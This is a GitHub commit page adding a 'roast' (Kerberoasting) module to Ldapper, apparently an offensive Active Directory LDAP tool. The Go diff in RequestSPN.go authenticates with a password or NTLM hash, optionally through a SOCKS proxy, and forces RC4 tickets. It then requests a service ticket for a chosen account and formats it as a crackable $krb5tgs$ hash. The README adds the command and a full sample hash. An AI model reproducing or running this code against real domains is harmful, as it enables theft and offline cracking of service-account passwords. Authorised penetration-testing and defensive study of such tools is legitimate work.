Skip to content

Commit

Permalink
Merge pull request #5 from mfdooom/roast
Browse files Browse the repository at this point in the history
Roast Module
  • Loading branch information
Synzack authored Aug 23, 2022
2 parents d8b0d3f + 3d6fdb9 commit dd624df
Show file tree
Hide file tree
Showing 5 changed files with 153 additions and 15 deletions.
4 changes: 2 additions & 2 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -4,10 +4,10 @@
!*.*

# ignore any vscode or GoLang generated file
go.*
go.sum
.vscode/

# ignore random MacOs and text/log files
.DS_Store
*.txt
*.log
*.log
91 changes: 91 additions & 0 deletions Commands/RequestSPN.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,91 @@
package Commands

import (
"fmt"
"strings"
"encoding/hex"
"github.com/jcmturner/gokrb5/v8/config"
"github.com/jcmturner/gokrb5/v8/client"
"github.com/jcmturner/gokrb5/v8/iana/etypeID"
"log"
"os"
)


// dont really like this string for the config
// would rather just create a new config and make changes via functions
// would be easier to read
// cant seem to figure out how to add a [realm] though
const (
libdefault = `[libdefaults]
default_realm = %s
dns_lookup_realm = false
dns_lookup_kdc = false
ticket_lifetime = 24h
renew_lifetime = 5
forwardable = yes
proxiable = true
default_tkt_enctypes = rc4-hmac
default_tgs_enctypes = rc4-hmac
noaddresses = true
udp_preference_limit=1
[realms]
%s = {
kdc = %s:88
default_domain = %s
}`
)

func RequestSPN(targetUser string, username string, password string, ntlm string, domain string, dc string, socksServer string, socksType int) (spnResult string) {

var cl *client.Client
var ticket string

// Need domain in uppercase for GOKRB5 Config
domain = strings.ToUpper(domain)

l := log.New(os.Stderr, "GOKRB5 Client: ", log.Ldate|log.Ltime|log.Lshortfile)

c, err := config.NewFromString(fmt.Sprintf(libdefault, domain, domain, dc, domain))

if err != nil {
l.Fatalf("Error Loading Config: %v\n", err)
}

// Create a Kerberos client with either password or hash
if password != ""{
cl = client.NewWithPassword(username, domain, password, c, client.DisablePAFXFAST(true), client.AssumePreAuthentication(false))
}else if ntlm != ""{
cl = client.NewWithHash(username, domain, ntlm, c, client.DisablePAFXFAST(true), client.AssumePreAuthentication(false))
}

// Add socks info to client config if enabled
if socksServer != "" {
cl.Config.Socks.Enabled = true
cl.Config.Socks.Version = socksType
cl.Config.Socks.Server = socksServer
}

err = cl.Login()
if err != nil {
l.Fatalf("Erron on AS_REQ: %v\n", err)
}

tgt, _, err := cl.GetServiceTicket(targetUser)

// only printing out RC4 encrypted tickets currently
if err != nil {
l.Printf("Error getting service ticket: %v\n", err)
}else if tgt.EncPart.EType == etypeID.RC4_HMAC {
checksumHex := make([]byte, hex.EncodedLen(len(tgt.EncPart.Cipher[:16])))
hex.Encode(checksumHex, tgt.EncPart.Cipher[:16])

cipherHex := make([]byte, hex.EncodedLen(len(tgt.EncPart.Cipher[16:])))
hex.Encode(cipherHex, tgt.EncPart.Cipher[16:])
ticket = fmt.Sprintf("$krb5tgs$%d$*%s$%s$%s*$%s$%s\n", tgt.EncPart.EType, tgt.SName.NameString[0], tgt.Realm, tgt.SName.NameString[0], checksumHex, cipherHex)
}else if tgt.EncPart.EType != etypeID.RC4_HMAC {
// Don't belive this would happen becuase we only offer rc4 encrpytion based on our config
l.Printf("Invalid encryption type")
}
return ticket
}
16 changes: 15 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -12,6 +12,7 @@ Ldapper is proxy aware and supports NTLM authentication with a user's hash. Addi

- Add Domain Computers
- Add/Remove Arbitrary SPNs
- Kerberoast

This tool should be considered in its beta stages. Please report any bugs, issues, or functionality ideas for future releases.

Expand All @@ -34,6 +35,7 @@ This tool should be considered in its beta stages. Please report any bugs, issue
- [Command Modules](#command-modules)
- [Add Computer](#add-computer)
- [Add SPN](#add-spn)
- [Kerberoast](#kerberoast)
- [Logging](#logging)
- [Proxy Support](#proxy-support)

Expand All @@ -42,7 +44,6 @@ This tool should be considered in its beta stages. Please report any bugs, issue
Ldapper can be built and ran using the following commands inside of the repository folder:

```
go mod init ldapper - initialize the Go project
go mod tidy - pull down all necessary dependencies
go build - build Ldapper
./ldapper - run Ldapper
Expand Down Expand Up @@ -196,6 +197,7 @@ CIFS/AZRWLPT1000000 HOUSTON_MCBRIDE 2022-07-24 21:05:43 -0400 EDT
CIFS/ESMWLPT1000000 DOLLY_MCLEAN 2022-07-15 00:38:54 -0400 EDT <never>
```

## Machine Account Quota
This module queries for the machine account quota of the domain. Syntax is as follows:

Expand Down Expand Up @@ -248,6 +250,18 @@ Successfully added SPN: "blah/blah" for user "hanzo"
```
> spn delete hanzo blah/blah
Successfully deleted SPN: "blah/blah" for user "hanzo"
```
## Kerberoast

The `roast` module will request and print the service ticket encrypted with the users password. Syntax is as follow:

- `roast <user>`

```
> roast LIDIA_ELLIOT
$krb5tgs$23$*LIDIA_ELLIOT$RANGE.COM$LIDIA_ELLIOT*$31d99685e614b96bb9fab3a534f3a68d$8cfae8a06c390b037bc6c1e4200de88e2d4320b189c8e58dbfb3579b96db0b6afc6645c082d3067e9ba07259cc23f3b02e8c28e02cb90ae29edeedb91c7f02e7a7700d82dc0a0a69081357e37d0db75a224d5f6b4ac61f1bad707eac16c83dae44e0d85e941e90205d7d38f374cd6796b9733bc9e2d27a8588312cb08b0323c40a221b2204eb4eb1af75111ce8b75aa5ebb0b765e1a28f6103a54f2e72b8b6cebb73c0997cc2de4285f462e5d91d608ef628fee624e490e17441bb5b8d9a96e1680d92f151aa12296c3e4370b1ce6a1209b56b7ca1ee52022442db642595db9474c76169e2be5fd4d2e5af13caa61958e8466ac2c021a9ea61ca1857c4463ccfdd65eec6eef3f06c12178703d467e76246f3b6ae5f3248e93d4e58b8ce320a1f25e0bfa683ac014c047105d5030f2d1caea9243bd0ded2009ae6e79122e38e49a81747a93f98ba2557671d48da09fa6475e3d4373dee80f705a482aded93abeab77b337c47d904292dc0f08c89fcb009dd09e101a8a71c3060d9ebc2620b331454e971d51fa9fdab9b8b7f42cb606ac0ca6a85852912ba91266c9e1fcaf33b6cef49fccd490526509955dc5bf6744c9787271819e86f8cb18a999a85c37503d837b10a434ab1ae717f82fc139ba60989b70934a3a6eb62a2ad7dc3af7b70e120b45233059c4606227adc11a86be8cd688b7a2984a782c723f4fb018e6e068e3667a697c6bb761f1cc90cdee0ed51fd2904c89766105976e1ef2d33714f31dbd71ae2a56d674d9998196c160b8847236e77997ebff66d6bf8605c59d04949e1e16b6f60429db005f83bd8719a6e952dc56166d681053a7b7e1461cc3d6b408a21ee6cbe907adacc7650df0e5188d4e1279516f934e97e295e6501dfb20462e0d59edf42a391f7dbf39dcc791bc97c7d77bf66146df570cfccdd92694581232a823ba0174045f4b37343ceb888641c5ccf3f6e10e35957d07974f39fd7b0c5018eb5707f4556b1f73a47c0e081ecdca708d5da866cdaf8ca7131ff0fd9a6a58db6073918368bdc8b2635e3ee2e016136e2cea53fd1f717dd0a86dfdc050f6e46bbd2913c3df5f98fd54784bcee5d74ad8728d8dd1758a5034a326b6b28a2fc1e159e3fe4c0311af57d67c58099932b452921224c1d957626e1603bcd2bc77c8fce394dc0026f289398c9191092075f598055f3b2aeaef83b0b09f55a97bce331c5e4e2904bafbd84bb62d2bfcf9d817f29fe0c67c9bbae7c081c6ea22a20edac1db8588f9a42b636c59f7f6388d5607b243ed873fee7bff9f839c892bf7685fdb9f8fabd90fa3bfa14d13d8c4cc0dcf8865917ea1c4df3634922714bdca305ae6e3c87c34e2b949af7cf3cecd7b4545332088084dcdd3c221a9d75497fdca897
```

# Logging
Expand Down
23 changes: 23 additions & 0 deletions go.mod
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
module ldapper

require (
github.com/go-ldap/ldap/v3 v3.4.4
github.com/jcmturner/gokrb5/v8 v8.4.3
github.com/mazen160/go-random v0.0.0-20210308102632-d2b501c85c03
golang.org/x/text v0.3.7
h12.io/socks v1.0.3
)

require (
github.com/Azure/go-ntlmssp v0.0.0-20220621081337-cb9428e4ac1e // indirect
github.com/go-asn1-ber/asn1-ber v1.5.4 // indirect
github.com/hashicorp/go-uuid v1.0.3 // indirect
github.com/jcmturner/aescts/v2 v2.0.0 // indirect
github.com/jcmturner/dnsutils/v2 v2.0.0 // indirect
github.com/jcmturner/gofork v1.7.6 // indirect
github.com/jcmturner/rpc/v2 v2.0.3 // indirect
golang.org/x/crypto v0.0.0-20220722155217-630584e8d5aa // indirect
golang.org/x/net v0.0.0-20220725212005-46097bf591d3 // indirect
)

replace github.com/jcmturner/gokrb5/v8 => github.com/mfdooom/gokrb5/v8 v8.4.3-0.20220811043259-08c37c0bdf17
34 changes: 22 additions & 12 deletions main.go
Original file line number Diff line number Diff line change
Expand Up @@ -21,7 +21,7 @@ import (
)

type FlagOptions struct {
upn string
upn string
password string
ntlm string
dc string
Expand All @@ -47,7 +47,7 @@ func options() *FlagOptions {

flag.Parse()
return &FlagOptions{
upn: *upn,
upn: *upn,
password: *password,
ntlm: *ntlm,
dc: *dc,
Expand Down Expand Up @@ -77,18 +77,20 @@ func main() {
var err error
var domain string
var username string
var target []string
var target []string
var socksType int
var socksAddress string

target = strings.Split(opt.upn, "@")

// Did the user supply the username correctly <user@domain>?
if len(target) == 1 {
opt.help = true
}else {
username = target[0]
domain = target[1]
opt.help = true
} else {
username = target[0]
domain = target[1]
}

// if required flags aren't set, print help
if username == "" || opt.dc == "" || (opt.password == "" && opt.ntlm == "") || opt.help {
flag.Usage()
Expand All @@ -107,8 +109,6 @@ func main() {
port = "389"
}

var socksType int
var socksAddress string
if opt.socks4 != "" {
//set socks to socks4
socksType = socks.SOCKS4
Expand Down Expand Up @@ -163,7 +163,7 @@ func main() {

// if password option set
if opt.password != "" {
err = conn.Bind(opt.upn, opt.password)
err = conn.Bind(opt.upn, opt.password)
if err != nil {
log.Fatal(err)
} else {
Expand All @@ -173,7 +173,7 @@ func main() {

// if ntlm hash option set
if opt.ntlm != "" {
err = conn.NTLMBindWithHash(domain, username, opt.ntlm)
err = conn.NTLMBindWithHash(domain, username, opt.ntlm)
if err != nil {
fmt.Print("test\n")
log.Fatal(err)
Expand Down Expand Up @@ -217,6 +217,7 @@ func main() {
"Commands:\n" +
"\taddComputer <computerName$> (Requires LDAPS)\n" +
"\tspn <add/delete> <targetUser> <spn>\n" +
"\troast <targetUser>\n" +
"Exit:\n" +
"\texit"
fmt.Println(help)
Expand Down Expand Up @@ -341,6 +342,15 @@ func main() {

Globals.OutputAndLog(opt.logFile, spnLog, 0, 0, 0, false)

case "roast":
if len(userInput) == 1 {
fmt.Println("Incorrect number of arguments. Usage: roast <targetUser>")
break
}
roastuser := userInput[1]

result := Commands.RequestSPN(roastuser, username, opt.password, opt.ntlm, domain, opt.dc, socksAddress, socksType)
Globals.OutputAndLog(opt.logFile, result, 0, 0, 0, false)
case "mquota":
result := Queries.GetMachineQuota(baseDN, conn)
Globals.OutputAndLog(opt.logFile, result, 0, 0, 0, false)
Expand Down

0 comments on commit dd624df

Please sign in to comment.